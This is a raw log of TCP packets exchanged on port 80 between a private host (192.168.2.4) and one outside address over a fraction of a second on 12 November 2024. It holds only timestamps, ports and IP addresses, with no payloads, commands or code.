Nov 12, 2024 15:41:27.222409010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222415924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222434044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222454071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222578049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222588062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222598076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222609043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222625971 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222652912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222673893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222687006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222695112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222708941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222717047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222718000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222728968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222732067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222739935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222748995 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222776890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222840071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222851038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222861052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222872019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222879887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222883940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222892046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222894907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222906113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222917080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222918034 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222928047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222938061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222942114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222948074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.222948074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.222975016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.223001957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223012924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223035097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223042965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.223047018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223056078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223057032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.223067999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223078966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.223079920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223090887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223100901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.223102093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.223123074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.223133087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224034071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224078894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224082947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224101067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224112988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224123001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224123955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224134922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224136114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224143982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224162102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224179029 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224304914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224318981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224328995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224339962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224350929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224354982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224361897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224371910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224378109 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224383116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224390984 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224395990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224412918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224432945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224455118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224468946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224478960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224503040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224514961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224522114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224534988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224545002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224555969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.224565029 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.224586964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245120049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245158911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245174885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245213032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245240927 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245240927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245251894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245261908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245274067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245284081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245291948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245313883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245320082 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245327950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245341063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245349884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245359898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245369911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245387077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245393991 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245409966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245491982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245503902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245512962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245522022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245532990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245543003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245544910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245553017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245568037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245575905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245577097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245588064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245589018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245594025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245599985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245613098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245618105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245625019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245634079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245645046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245651960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245656013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245657921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245671988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245701075 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245717049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245727062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245737076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245745897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245757103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245765924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245767117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245774984 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245776892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245793104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245825052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245835066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245842934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245848894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245855093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245878935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245892048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.245913982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245930910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245943069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.245975018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.246020079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246031046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246041059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246052027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246062040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246062994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.246073008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.246098995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246100903 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.246112108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246139050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.246216059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246227980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246242046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246252060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.246258974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.246278048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.246298075 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309048891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309061050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309101105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309134960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309145927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309185982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309196949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309201956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309206963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309240103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309250116 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309277058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309284925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309293032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309303999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309313059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309324026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309324980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309346914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309367895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309541941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309560061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309571028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309587955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309612989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309787035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309859037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309869051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309906960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309916973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309927940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309937954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309948921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.309966087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309981108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.309995890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310005903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310017109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310026884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310035944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310040951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310048103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310069084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310075998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310107946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310178995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310189009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310198069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310209036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310219049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310223103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310233116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310245991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310249090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310254097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310261965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310275078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310276985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310283899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310293913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310302973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310305119 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310316086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310321093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310343027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310389996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310401917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310410023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310420036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310430050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310431004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310448885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310461998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310631990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310642958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310676098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310681105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310713053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310872078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310887098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310895920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310920000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310942888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.310944080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310956001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310966015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.310983896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311007023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311007977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311018944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311028957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311039925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311049938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311050892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311075926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311090946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311285973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311300993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311310053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311326981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311336994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311340094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311359882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311367989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311371088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311379910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311391115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311398983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311407089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311420918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311423063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311430931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311441898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311435938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311453104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311460018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311464071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311475992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311489105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311490059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311500072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311508894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311511040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311522007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311527014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311534882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311553955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311578035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.311855078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311877012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311887980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.311918974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.339354992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339369059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339385986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339396000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339409113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339421034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339432955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339442968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339453936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339463949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339473963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339488029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.339509010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.339557886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.340395927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340406895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340418100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340462923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340473890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340486050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340497017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340536118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.340559006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.340600967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340615034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340626001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340636015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340656996 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.340657949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340671062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340681076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.340682030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.340692997 CET	80	49761	185.215.113.16	192.168.2.4
